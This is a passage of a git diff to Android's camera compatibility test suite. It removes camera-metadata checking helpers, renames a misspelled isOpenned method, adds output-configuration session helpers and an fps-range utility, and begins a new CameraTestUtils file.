-     * <p>If this returns {@code true}, then querying for this key from a characteristics
-     * object will always return a non-{@code null} value.</p>
-     *
-     * @param keys one or more camera characteristic keys
-     * @return whether or not all characteristics keys are available
-     */
-    @SafeVarargs
-    public final boolean areKeysAvailable(CameraCharacteristics.Key<?>... keys) {
-        return areCharacteristicsKeysAvailable(Arrays.asList(keys));
-    }
-
-    /**
-     * Determine whether or not all the {@code keys} are available result keys
-     * (as in {@link CameraCharacteristics#getAvailableCaptureResultKeys}.
-     *
-     * <p>If this returns {@code true}, then querying for this key from a result
-     * object will almost always return a non-{@code null} value.</p>
-     *
-     * <p>In some cases (e.g. lens shading map), the request must have additional settings
-     * configured in order for the key to correspond to a value.</p>
-     *
-     * @param keys one or more capture result keys
-     * @return whether or not all result keys are available
-     */
-    @SafeVarargs
-    public final boolean areKeysAvailable(CaptureResult.Key<?>... keys) {
-        return areResultKeysAvailable(Arrays.asList(keys));
-    }
-
-    /**
-     * Determine whether or not all the {@code keys} are available request keys
-     * (as in {@link CameraCharacteristics#getAvailableCaptureRequestKeys}.
-     *
-     * <p>If this returns {@code true}, then setting this key in the request builder
-     * may have some effect (and if it's {@code false}, then the camera device will
-     * definitely ignore it).</p>
-     *
-     * <p>In some cases (e.g. manual control of exposure), other keys must be also be set
-     * in order for a key to take effect (e.g. control.mode set to OFF).</p>
-     *
-     * @param keys one or more capture request keys
-     * @return whether or not all result keys are available
-     */
-    @SafeVarargs
-    public final boolean areKeysAvailable(CaptureRequest.Key<?>... keys) {
-        return areRequestKeysAvailable(Arrays.asList(keys));
-    }
-
-    /*
-     * Determine if camera device support AE lock control
-     *
-     * @return {@code true} if AE lock control is supported
-     */
-    public boolean isAeLockSupported() {
-        return getValueFromKeyNonNull(CameraCharacteristics.CONTROL_AE_LOCK_AVAILABLE);
-    }
-
-    /*
-     * Determine if camera device support AWB lock control
-     *
-     * @return {@code true} if AWB lock control is supported
-     */
-    public boolean isAwbLockSupported() {
-        return getValueFromKeyNonNull(CameraCharacteristics.CONTROL_AWB_LOCK_AVAILABLE);
-    }
-
-
-    /*
-     * Determine if camera device support manual lens shading map control
-     *
-     * @return {@code true} if manual lens shading map control is supported
-     */
-    public boolean isManualLensShadingMapSupported() {
-        return areKeysAvailable(CaptureRequest.SHADING_MODE);
-    }
-
-    /**
-     * Determine if camera device support manual color correction control
-     *
-     * @return {@code true} if manual color correction control is supported
-     */
-    public boolean isColorCorrectionSupported() {
-        return areKeysAvailable(CaptureRequest.COLOR_CORRECTION_MODE);
-    }
-
-    /**
-     * Determine if camera device support manual tone mapping control
-     *
-     * @return {@code true} if manual tone mapping control is supported
-     */
-    public boolean isManualToneMapSupported() {
-        return areKeysAvailable(CaptureRequest.TONEMAP_MODE);
-    }
-
-    /**
-     * Determine if camera device support manual color aberration control
-     *
-     * @return {@code true} if manual color aberration control is supported
-     */
-    public boolean isManualColorAberrationControlSupported() {
-        return areKeysAvailable(CaptureRequest.COLOR_CORRECTION_ABERRATION_MODE);
-    }
-
-    /**
-     * Determine if camera device support edge mode control
-     *
-     * @return {@code true} if edge mode control is supported
-     */
-    public boolean isEdgeModeControlSupported() {
-        return areKeysAvailable(CaptureRequest.EDGE_MODE);
-    }
-
-    /**
-     * Determine if camera device support hot pixel mode control
-     *
-     * @return {@code true} if hot pixel mode control is supported
-     */
-    public boolean isHotPixelMapModeControlSupported() {
-        return areKeysAvailable(CaptureRequest.HOT_PIXEL_MODE);
-    }
-
-    /**
-     * Determine if camera device support noise reduction mode control
-     *
-     * @return {@code true} if noise reduction mode control is supported
-     */
-    public boolean isNoiseReductionModeControlSupported() {
-        return areKeysAvailable(CaptureRequest.NOISE_REDUCTION_MODE);
-    }
-
-    /**
-     * Get max number of output raw streams and do the basic sanity check.
-     *
-     * @return reported max number of raw output stream
-     */
-    public int getMaxNumOutputStreamsRawChecked() {
-        Integer maxNumStreams =
-                getValueFromKeyNonNull(CameraCharacteristics.REQUEST_MAX_NUM_OUTPUT_RAW);
-        if (maxNumStreams == null)
-            return 0;
-        return maxNumStreams;
-    }
-
-    /**
-     * Get max number of output processed streams and do the basic sanity check.
-     *
-     * @return reported max number of processed output stream
-     */
-    public int getMaxNumOutputStreamsProcessedChecked() {
-        Integer maxNumStreams =
-                getValueFromKeyNonNull(CameraCharacteristics.REQUEST_MAX_NUM_OUTPUT_PROC);
-        if (maxNumStreams == null)
-            return 0;
-        return maxNumStreams;
-    }
-
-    /**
-     * Get max number of output stalling processed streams and do the basic sanity check.
-     *
-     * @return reported max number of stalling processed output stream
-     */
-    public int getMaxNumOutputStreamsProcessedStallChecked() {
-        Integer maxNumStreams =
-                getValueFromKeyNonNull(CameraCharacteristics.REQUEST_MAX_NUM_OUTPUT_PROC_STALLING);
-        if (maxNumStreams == null)
-            return 0;
-        return maxNumStreams;
-    }
-
-    /**
-     * Get lens facing and do the sanity check
-     * @return lens facing, return default value (BACK) if value is unavailable.
-     */
-    public int getLensFacingChecked() {
-        Key<Integer> key =
-                CameraCharacteristics.LENS_FACING;
-        Integer facing = getValueFromKeyNonNull(key);
-
-        if (facing == null) {
-            return CameraCharacteristics.LENS_FACING_BACK;
-        }
-
-        checkTrueForKey(key, " value is out of range ",
-                facing >= CameraCharacteristics.LENS_FACING_FRONT &&
-                facing <= CameraCharacteristics.LENS_FACING_EXTERNAL);
-        return facing;
-    }
-
-    /**
-     * Get maxCaptureStall frames or default value (if value doesn't exist)
-     * @return maxCaptureStall frames or default value.
-     */
-    public int getMaxCaptureStallOrDefault() {
-        Key<Integer> key =
-                CameraCharacteristics.REPROCESS_MAX_CAPTURE_STALL;
-        Integer value = getValueFromKeyNonNull(key);
-
-        if (value == null) {
-            return MAX_REPROCESS_MAX_CAPTURE_STALL;
-        }
-
-        checkTrueForKey(key, " value is out of range ",
-                value >= 0 &&
-                value <= MAX_REPROCESS_MAX_CAPTURE_STALL);
-
-        return value;
-    }
-
-    /**
-     * Get the scaler's cropping type (center only or freeform)
-     * @return cropping type, return default value (CENTER_ONLY) if value is unavailable
-     */
-    public int getScalerCroppingTypeChecked() {
-        Key<Integer> key =
-                CameraCharacteristics.SCALER_CROPPING_TYPE;
-        Integer value = getValueFromKeyNonNull(key);
-
-        if (value == null) {
-            return CameraCharacteristics.SCALER_CROPPING_TYPE_CENTER_ONLY;
-        }
-
-        checkTrueForKey(key, " value is out of range ",
-                value >= CameraCharacteristics.SCALER_CROPPING_TYPE_CENTER_ONLY &&
-                value <= CameraCharacteristics.SCALER_CROPPING_TYPE_FREEFORM);
-
-        return value;
-    }
-
-    /**
-     * Check if the constrained high speed video is supported by the camera device.
-     * The high speed FPS ranges and sizes are sanitized in
-     * ExtendedCameraCharacteristicsTest#testConstrainedHighSpeedCapability.
-     *
-     * @return true if the constrained high speed video is supported, false otherwise.
-     */
-    public boolean isConstrainedHighSpeedVideoSupported() {
-        List<Integer> availableCapabilities = getAvailableCapabilitiesChecked();
-        return (availableCapabilities.contains(
-                CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_CONSTRAINED_HIGH_SPEED_VIDEO));
-    }
-
-    /**
-     * Check if high speed video is supported (HIGH_SPEED_VIDEO scene mode is
-     * supported, supported high speed fps ranges and sizes are valid).
-     *
-     * @return true if high speed video is supported.
-     */
-    public boolean isHighSpeedVideoSupported() {
-        List<Integer> sceneModes =
-                Arrays.asList(CameraTestUtils.toObject(getAvailableSceneModesChecked()));
-        if (sceneModes.contains(CameraCharacteristics.CONTROL_SCENE_MODE_HIGH_SPEED_VIDEO)) {
-            StreamConfigurationMap config =
-                    getValueFromKeyNonNull(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
-            if (config == null) {
-                return false;
-            }
-            Size[] availableSizes = config.getHighSpeedVideoSizes();
-            if (availableSizes.length == 0) {
-                return false;
-            }
-
-            for (Size size : availableSizes) {
-                Range<Integer>[] availableFpsRanges = config.getHighSpeedVideoFpsRangesFor(size);
-                if (availableFpsRanges.length == 0) {
-                    return false;
-                }
-            }
-
-            return true;
-        } else {
-            return false;
-        }
-    }
-
-    /**
-     * Check if depth output is supported, based on the depth capability
-     */
-    public boolean isDepthOutputSupported() {
-        return isCapabilitySupported(
-                CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_DEPTH_OUTPUT);
-    }
-
-    /**
-     * Check if standard outputs (PRIVATE, YUV, JPEG) outputs are supported, based on the
-     * backwards-compatible capability
-     */
-    public boolean isColorOutputSupported() {
-        return isCapabilitySupported(
-                CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_BACKWARD_COMPATIBLE);
-    }
-
-    /**
-     * Check if optical black regions key is supported.
-     */
-    public boolean isOpticalBlackRegionSupported() {
-        return areKeysAvailable(CameraCharacteristics.SENSOR_OPTICAL_BLACK_REGIONS);
-    }
-
-    /**
-     * Check if the dynamic black level is supported.
-     *
-     * <p>
-     * Note that: This also indicates if the white level is supported, as dynamic black and white
-     * level must be all supported or none of them is supported.
-     * </p>
-     */
-    public boolean isDynamicBlackLevelSupported() {
-        return areKeysAvailable(CaptureResult.SENSOR_DYNAMIC_BLACK_LEVEL);
-    }
-
-    /**
-     * Get the value in index for a fixed-size array from a given key.
-     *
-     * <p>If the camera device is incorrectly reporting values, log a warning and return
-     * the default value instead.</p>
-     *
-     * @param key Key to fetch
-     * @param defaultValue Default value to return if camera device uses invalid values
-     * @param name Human-readable name for the array index (logging only)
-     * @param index Array index of the subelement
-     * @param size Expected fixed size of the array
-     *
-     * @return The value reported by the camera device, or the defaultValue otherwise.
-     */
-    private <T> T getArrayElementOrDefault(Key<?> key, T defaultValue, String name, int index,
-            int size) {
-        T elementValue = getArrayElementCheckRangeNonNull(
-                key,
-                index,
-                size);
-
-        if (elementValue == null) {
-            failKeyCheck(key,
-                    "had no valid " + name + " value; using default of " + defaultValue);
-            elementValue = defaultValue;
-        }
-
-        return elementValue;
-    }
-
-    /**
-     * Fetch an array sub-element from an array value given by a key.
-     *
-     * <p>
-     * Prints a warning if the sub-element was null.
-     * </p>
-     *
-     * <p>Use for variable-size arrays since this does not check the array size.</p>
-     *
-     * @param key Metadata key to look up
-     * @param element A non-negative index value.
-     * @return The array sub-element, or null if the checking failed.
-     */
-    private <T> T getArrayElementNonNull(Key<?> key, int element) {
-        return getArrayElementCheckRangeNonNull(key, element, IGNORE_SIZE_CHECK);
-    }
-
-    /**
-     * Fetch an array sub-element from an array value given by a key.
-     *
-     * <p>
-     * Prints a warning if the array size does not match the size, or if the sub-element was null.
-     * </p>
-     *
-     * @param key Metadata key to look up
-     * @param element The index in [0,size)
-     * @param size A positive size value or otherwise {@value #IGNORE_SIZE_CHECK}
-     * @return The array sub-element, or null if the checking failed.
-     */
-    private <T> T getArrayElementCheckRangeNonNull(Key<?> key, int element, int size) {
-        Object array = getValueFromKeyNonNull(key);
-
-        if (array == null) {
-            // Warning already printed
-            return null;
-        }
-
-        if (size != IGNORE_SIZE_CHECK) {
-            int actualLength = Array.getLength(array);
-            if (actualLength != size) {
-                failKeyCheck(key,
-                        String.format("had the wrong number of elements (%d), expected (%d)",
-                                actualLength, size));
-                return null;
-            }
-        }
-
-        @SuppressWarnings("unchecked")
-        T val = (T) Array.get(array, element);
-
-        if (val == null) {
-            failKeyCheck(key, "had a null element at index" + element);
-            return null;
-        }
-
-        return val;
-    }
-
-    /**
-     * Gets the key, logging warnings for null values.
-     */
-    public <T> T getValueFromKeyNonNull(Key<T> key) {
-        if (key == null) {
-            throw new IllegalArgumentException("key was null");
-        }
-
-        T value = mCharacteristics.get(key);
-
-        if (value == null) {
-            failKeyCheck(key, "was null");
-        }
-
-        return value;
-    }
-
-    private void checkArrayValuesInRange(Key<int[]> key, int[] array, int min, int max) {
-        for (int value : array) {
-            checkTrueForKey(key, String.format(" value is out of range [%d, %d]", min, max),
-                    value <= max && value >= min);
-        }
-    }
-
-    private void checkArrayValuesInRange(Key<byte[]> key, byte[] array, byte min, byte max) {
-        for (byte value : array) {
-            checkTrueForKey(key, String.format(" value is out of range [%d, %d]", min, max),
-                    value <= max && value >= min);
-        }
-    }
-
-    /**
-     * Check the uniqueness of the values in a list.
-     *
-     * @param key The key to be checked
-     * @param list The list contains the value of the key
-     */
-    private <U, T> void checkElementDistinct(Key<U> key, List<T> list) {
-        // Each size must be distinct.
-        Set<T> sizeSet = new HashSet<T>(list);
-        checkTrueForKey(key, "Each size must be distinct", sizeSet.size() == list.size());
-    }
-
-    private <T> void checkTrueForKey(Key<T> key, String message, boolean condition) {
-        if (!condition) {
-            failKeyCheck(key, message);
-        }
-    }
-
-    /* Helper function to check if the coupled modes are either all present or all non-present */
-    private <T> boolean containsAllOrNone(Collection<T> observedModes, Collection<T> coupledModes) {
-        if (observedModes.containsAll(coupledModes)) {
-            return true;
-        }
-        for (T mode : coupledModes) {
-            if (observedModes.contains(mode)) {
-                return false;
-            }
-        }
-        return true;
-    }
-
-    private <T> void failKeyCheck(Key<T> key, String message) {
-        // TODO: Consider only warning once per key/message combination if it's too spammy.
-        // TODO: Consider offering other options such as throwing an assertion exception
-        String failureCause = String.format("The static info key '%s' %s", key.getName(), message);
-        switch (mLevel) {
-            case WARN:
-                Log.w(TAG, failureCause);
-                break;
-            case COLLECT:
-                mCollector.addMessage(failureCause);
-                break;
-            case ASSERT:
-                Assert.fail(failureCause);
-            default:
-                throw new UnsupportedOperationException("Unhandled level " + mLevel);
-        }
-    }
-}
diff --git a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
index 39bf0a5..a1d63d8 100644
--- a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
+++ b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
@@ -33,6 +33,7 @@
 import android.hardware.camera2.cts.Camera2MultiViewCtsActivity;
 import android.hardware.camera2.cts.helpers.StaticMetadata;
 import android.hardware.camera2.cts.helpers.StaticMetadata.CheckLevel;
+import android.hardware.camera2.params.OutputConfiguration;
 import android.os.ConditionVariable;
 import android.os.Handler;
 import android.os.HandlerThread;
@@ -51,6 +52,7 @@
 
 import junit.framework.Assert;
 
+import java.util.Arrays;
 import java.util.List;
 import java.util.HashMap;
 
@@ -116,7 +118,7 @@
         mHandler = null;
         mCameraListener = null;
         for (CameraHolder camera : mCameraHolders) {
-            if (camera.isOpenned()) {
+            if (camera.isOpened()) {
                 camera.close();
                 camera = null;
             }
@@ -220,7 +222,7 @@
 
     protected void openCamera(String cameraId) throws Exception {
         CameraHolder camera = getCameraHolder(cameraId);
-        assertFalse("Camera has already opened", camera.isOpenned());
+        assertFalse("Camera has already opened", camera.isOpened());
         camera.open();
         return;
     }
@@ -230,32 +232,60 @@
         camera.close();
     }
 
+    protected void createSessionWithConfigs(String cameraId, List<OutputConfiguration> configs)
+            throws Exception {
+        CameraHolder camera = getCameraHolder(cameraId);
+        camera.createSessionWithConfigs(configs);
+    }
+
     protected void startPreview(
             String cameraId, List<Surface> outputSurfaces, CaptureCallback listener)
             throws Exception {
         CameraHolder camera = getCameraHolder(cameraId);
-        assertTrue("Camera " + cameraId + " is not openned", camera.isOpenned());
+        assertTrue("Camera " + cameraId + " is not openned", camera.isOpened());
         camera.startPreview(outputSurfaces, listener);
     }
 
+    protected void startPreviewWithConfigs(String cameraId,
+            List<OutputConfiguration> outputConfigs,
+            CaptureCallback listener)
+            throws Exception {
+        CameraHolder camera = getCameraHolder(cameraId);
+        assertTrue("Camera " + cameraId + " is not openned", camera.isOpened());
+        camera.startPreviewWithConfigs(outputConfigs, listener);
+    }
+
     protected void stopPreview(String cameraId) throws Exception {
         CameraHolder camera = getCameraHolder(cameraId);
         assertTrue("Camera " + cameraId + " preview is not running", camera.isPreviewStarted());
         camera.stopPreview();
     }
 
+    protected void updateOutputConfigs(String cameraId, List<OutputConfiguration> configs,
+            CaptureCallback listener) throws Exception {
+        CameraHolder camera = getCameraHolder(cameraId);
+        assertTrue("Camera " + cameraId + " is not opened", camera.isOpened());
+        camera.updateOutputConfigs(configs, listener);
+    }
+
     protected StaticMetadata getStaticInfo(String cameraId) {
         CameraHolder camera = getCameraHolder(cameraId);
-        assertTrue("Camera is not openned", camera.isOpenned());
+        assertTrue("Camera is not openned", camera.isOpened());
         return camera.getStaticInfo();
     }
 
     protected List<Size> getOrderedPreviewSizes(String cameraId) {
         CameraHolder camera = getCameraHolder(cameraId);
-        assertTrue("Camera is not openned", camera.isOpenned());
+        assertTrue("Camera is not openned", camera.isOpened());
         return camera.getOrderedPreviewSizes();
     }
 
+    protected void verifyCreateSessionWithConfigsFailure(String cameraId,
+            List<OutputConfiguration> configs) throws Exception {
+        CameraHolder camera = getCameraHolder(cameraId);
+        camera.verifyCreateSessionWithConfigsFailure(configs);
+    }
+
     /**
      * Wait until the SurfaceTexture available from the TextureView, then return it.
      * Return null if the wait times out.
@@ -325,6 +355,12 @@
             mPreviewDone.close();
             return true;
         }
+
+        /** Reset the Listener */
+        public void reset() {
+            mFirstPreviewAvailable = false;
+            mPreviewDone.close();
+        }
     }
 
     private CameraHolder getCameraHolder(String cameraId) {
@@ -370,12 +406,12 @@
             assertNotNull(String.format("Failed to open camera device ID: %s", mCameraId), mCamera);
         }
 
-        public boolean isOpenned() {
+        public boolean isOpened() {
             return (mCamera != null);
         }
 
         public void close() throws Exception {
-            if (!isOpenned()) {
+            if (!isOpened()) {
                 return;
             }
             mCamera.close();
@@ -401,6 +437,57 @@
             mSession.setRepeatingRequest(captureBuilder.build(), listener, mHandler);
         }
 
+        public void createSessionWithConfigs(List<OutputConfiguration> outputConfigs)
+                throws Exception {
+            mSessionListener = new BlockingSessionCallback();
+            mSession = configureCameraSessionWithConfig(mCamera, outputConfigs, mSessionListener, mHandler);
+        }
+
+        public void verifyCreateSessionWithConfigsFailure(List<OutputConfiguration> configs)
+                throws Exception {
+            BlockingSessionCallback sessionListener = new BlockingSessionCallback();
+            CameraCaptureSession session = configureCameraSessionWithConfig(
+                    mCamera, configs, sessionListener, mHandler);
+
+            Integer[] sessionStates = {BlockingSessionCallback.SESSION_READY,
+                    BlockingSessionCallback.SESSION_CONFIGURE_FAILED};
+            int state = sessionListener.getStateWaiter().waitForAnyOfStates(
+                    Arrays.asList(sessionStates), SESSION_CONFIGURE_TIMEOUT_MS);
+            assertTrue("Expecting a createSessionWithConfig failure.",
+                    state == BlockingSessionCallback.SESSION_CONFIGURE_FAILED);
+        }
+
+        public void startPreviewWithConfigs(List<OutputConfiguration> outputConfigs,
+                CaptureCallback listener)
+                throws Exception {
+            createSessionWithConfigs(outputConfigs);
+
+            CaptureRequest.Builder captureBuilder =
+                    mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+
+            for (OutputConfiguration config : outputConfigs) {
+                for (Surface surface : config.getSurfaces()) {
+                    captureBuilder.addTarget(surface);
+                }
+            }
+            mSession.setRepeatingRequest(captureBuilder.build(), listener, mHandler);
+        }
+
+        public void updateOutputConfigs(List<OutputConfiguration> configs,
+                CaptureCallback listener) throws Exception {
+            mSession.finalizeOutputConfigurations(configs);
+
+            CaptureRequest.Builder captureBuilder =
+                    mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+
+            for (OutputConfiguration config : configs) {
+                for (Surface surface : config.getSurfaces()) {
+                    captureBuilder.addTarget(surface);
+                }
+            }
+            mSession.setRepeatingRequest(captureBuilder.build(), listener, mHandler);
+        }
+
         public boolean isPreviewStarted() {
             return (mSession != null);
         }
diff --git a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java
index a95f4f3..8c60231 100644
--- a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java
+++ b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java
@@ -55,6 +55,7 @@
 import com.android.ex.camera2.blocking.BlockingStateCallback;
 import com.android.ex.camera2.exceptions.TimeoutRuntimeException;
 
+import java.util.Arrays;
 import java.util.ArrayList;
 import java.util.HashMap;
 import java.util.List;
@@ -79,7 +80,7 @@
     protected static final String DEBUG_FILE_NAME_BASE =
             Environment.getExternalStorageDirectory().getPath();
     protected static final int WAIT_FOR_RESULT_TIMEOUT_MS = 3000;
-    protected static final float FRAME_DURATION_ERROR_MARGIN = 0.005f; // 0.5 percent error margin.
+    protected static final float FRAME_DURATION_ERROR_MARGIN = 0.01f; // 1 percent error margin.
     protected static final int NUM_RESULTS_WAIT_TIMEOUT = 100;
     protected static final int NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY = 8;
     protected static final int MIN_FRAME_DURATION_ERROR_MARGIN = 100; // ns
@@ -99,6 +100,7 @@
     protected ImageReader mReader;
     protected Surface mReaderSurface;
     protected Surface mPreviewSurface;
+    protected SurfaceHolder mPreviewHolder;
     protected Size mPreviewSize;
     protected List<Size> mOrderedPreviewSizes; // In descending order.
     protected List<Size> m1080pBoundedOrderedPreviewSizes; // In descending order.
@@ -640,6 +642,7 @@
                 WAIT_FOR_SURFACE_CHANGE_TIMEOUT_MS, mPreviewSize.getWidth(),
                 mPreviewSize.getHeight());
         assertTrue("wait for surface change to " + mPreviewSize.toString() + " timed out", res);
+        mPreviewHolder = holder;
         mPreviewSurface = holder.getSurface();
         assertNotNull("Preview surface is null", mPreviewSurface);
         assertTrue("Preview surface is invalid", mPreviewSurface.isValid());
@@ -696,6 +699,27 @@
             CaptureRequest.Builder stillRequest, Size previewSz, Size captureSz, int format,
             CaptureCallback resultListener, int maxNumImages,
             ImageReader.OnImageAvailableListener imageListener) throws Exception {
+        prepareCaptureAndStartPreview(previewRequest, stillRequest, previewSz, captureSz,
+            format, resultListener, null, maxNumImages, imageListener);
+    }
+
+    /**
+     * Setup single capture configuration and start preview.
+     *
+     * @param previewRequest The capture request to be used for preview
+     * @param stillRequest The capture request to be used for still capture
+     * @param previewSz Preview size
+     * @param captureSz Still capture size
+     * @param format The single capture image format
+     * @param resultListener Capture result listener
+     * @param sessionListener Session listener
+     * @param maxNumImages The max number of images set to the image reader
+     * @param imageListener The single capture capture image listener
+     */
+    protected void prepareCaptureAndStartPreview(CaptureRequest.Builder previewRequest,
+            CaptureRequest.Builder stillRequest, Size previewSz, Size captureSz, int format,
+            CaptureCallback resultListener, CameraCaptureSession.StateCallback sessionListener,
+            int maxNumImages, ImageReader.OnImageAvailableListener imageListener) throws Exception {
         if (VERBOSE) {
             Log.v(TAG, String.format("Prepare single capture (%s) and preview (%s)",
                     captureSz.toString(), previewSz.toString()));
@@ -711,7 +735,11 @@
         List<Surface> outputSurfaces = new ArrayList<Surface>();
         outputSurfaces.add(mPreviewSurface);
         outputSurfaces.add(mReaderSurface);
-        mSessionListener = new BlockingSessionCallback();
+        if (sessionListener == null) {
+            mSessionListener = new BlockingSessionCallback();
+        } else {
+            mSessionListener = new BlockingSessionCallback(sessionListener);
+        }
         mSession = configureCameraSession(mCamera, outputSurfaces, mSessionListener, mHandler);
 
         // Configure the requests.
@@ -791,4 +819,33 @@
         }
         return info.isCapabilitySupported(cap);
     }
+
+    protected Range<Integer> getSuitableFpsRangeForDuration(String cameraId, long frameDuration) {
+        // Add 0.05 here so Fps like 29.99 evaluated to 30
+        int minBurstFps = (int) Math.floor(1e9 / frameDuration + 0.05f);
+        boolean foundConstantMaxYUVRange = false;
+        boolean foundYUVStreamingRange = false;
+
+        // Find suitable target FPS range - as high as possible that covers the max YUV rate
+        // Also verify that there's a good preview rate as well
+        List<Range<Integer> > fpsRanges = Arrays.asList(
+                mStaticInfo.getAeAvailableTargetFpsRangesChecked());
+        Range<Integer> targetRange = null;
+        for (Range<Integer> fpsRange : fpsRanges) {
+            if (fpsRange.getLower() == minBurstFps && fpsRange.getUpper() == minBurstFps) {
+                foundConstantMaxYUVRange = true;
+                targetRange = fpsRange;
+            }
+            if (fpsRange.getLower() <= 15 && fpsRange.getUpper() == minBurstFps) {
+                foundYUVStreamingRange = true;
+            }
+        }
+
+        assertTrue(String.format("Cam %s: Target FPS range of (%d, %d) must be supported",
+                cameraId, minBurstFps, minBurstFps), foundConstantMaxYUVRange);
+        assertTrue(String.format(
+                "Cam %s: Target FPS range of (x, %d) where x <= 15 must be supported",
+                cameraId, minBurstFps), foundYUVStreamingRange);
+        return targetRange;
+    }
 }
diff --git a/tests/camera/src/android/hardware/cts/Camera_SizeTest.java b/tests/camera/src/android/hardware/cts/Camera_SizeTest.java
index 2f9c94b..77e75dd 100644
--- a/tests/camera/src/android/hardware/cts/Camera_SizeTest.java
+++ b/tests/camera/src/android/hardware/cts/Camera_SizeTest.java
@@ -16,14 +16,14 @@
 
 package android.hardware.cts;
 
-
-import android.cts.util.CtsAndroidTestCase;
 import android.hardware.Camera;
 import android.hardware.Camera.Parameters;
 import android.hardware.cts.helpers.CameraUtils;
 import android.test.suitebuilder.annotation.LargeTest;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
 import junit.framework.Test;
 import junit.framework.TestSuite;
 
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
new file mode 100644
index 0000000..03acbc6
--- /dev/null
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -0,0 +1,2390 @@
+/*
+ * Copyright 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.camera2.cts;
+
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.graphics.ImageFormat;
+import android.graphics.PointF;
+import android.graphics.Rect;
+import android.hardware.camera2.CameraAccessException;
+import android.hardware.camera2.CameraCaptureSession;
+import android.hardware.camera2.CameraConstrainedHighSpeedCaptureSession;
+import android.hardware.camera2.CameraDevice;
+import android.hardware.camera2.CameraManager;
+import android.hardware.camera2.CameraCharacteristics;
+import android.hardware.camera2.CaptureFailure;
+import android.hardware.camera2.CaptureRequest;
+import android.hardware.camera2.CaptureResult;
+import android.hardware.camera2.cts.helpers.CameraErrorCollector;
+import android.hardware.camera2.cts.helpers.StaticMetadata;
+import android.hardware.camera2.params.InputConfiguration;
+import android.hardware.camera2.TotalCaptureResult;
+import android.hardware.cts.helpers.CameraUtils;
+import android.hardware.camera2.params.MeteringRectangle;
+import android.hardware.camera2.params.OutputConfiguration;
+import android.hardware.camera2.params.StreamConfigurationMap;
+import android.location.Location;
+import android.location.LocationManager;
+import android.media.ExifInterface;
+import android.media.Image;
+import android.media.ImageReader;
+import android.media.ImageWriter;
+import android.media.Image.Plane;
+import android.os.Build;
+import android.os.Environment;
+import android.os.Handler;
+import android.util.Log;
+import android.util.Pair;
+import android.util.Size;
+import android.util.Range;
+import android.view.Display;
+import android.view.Surface;
+import android.view.WindowManager;
+
+import com.android.ex.camera2.blocking.BlockingCameraManager;
+import com.android.ex.camera2.blocking.BlockingCameraManager.BlockingOpenException;
+import com.android.ex.camera2.blocking.BlockingSessionCallback;
+import com.android.ex.camera2.blocking.BlockingStateCallback;
+import com.android.ex.camera2.exceptions.TimeoutRuntimeException;
+
+import junit.framework.Assert;
+
+import org.mockito.Mockito;
+
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Array;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.List;
+import java.util.concurrent.atomic.AtomicLong;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+import java.text.ParseException;
+import java.text.SimpleDateFormat;
+
+/**
+ * A package private utility class for wrapping up the camera2 cts test common utility functions
+ */
+public class CameraTestUtils extends Assert {
+    private static final String TAG = "CameraTestUtils";
+    private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
+    private static final boolean DEBUG = Log.isLoggable(TAG, Log.DEBUG);
+    public static final Size SIZE_BOUND_1080P = new Size(1920, 1088);
+    public static final Size SIZE_BOUND_2160P = new Size(3840, 2160);
+    // Only test the preview size that is no larger than 1080p.
+    public static final Size PREVIEW_SIZE_BOUND = SIZE_BOUND_1080P;
+    // Default timeouts for reaching various states
+    public static final int CAMERA_OPEN_TIMEOUT_MS = 3000;
+    public static final int CAMERA_CLOSE_TIMEOUT_MS = 3000;
+    public static final int CAMERA_IDLE_TIMEOUT_MS = 3000;
+    public static final int CAMERA_ACTIVE_TIMEOUT_MS = 1000;
+    public static final int CAMERA_BUSY_TIMEOUT_MS = 1000;
+    public static final int CAMERA_UNCONFIGURED_TIMEOUT_MS = 1000;
+    public static final int CAMERA_CONFIGURE_TIMEOUT_MS = 3000;
+    public static final int CAPTURE_RESULT_TIMEOUT_MS = 3000;
+    public static final int CAPTURE_IMAGE_TIMEOUT_MS = 3000;
+
+    public static final int SESSION_CONFIGURE_TIMEOUT_MS = 3000;
+    public static final int SESSION_CLOSE_TIMEOUT_MS = 3000;
+    public static final int SESSION_READY_TIMEOUT_MS = 3000;
+    public static final int SESSION_ACTIVE_TIMEOUT_MS = 1000;
+
+    public static final int MAX_READER_IMAGES = 5;
+
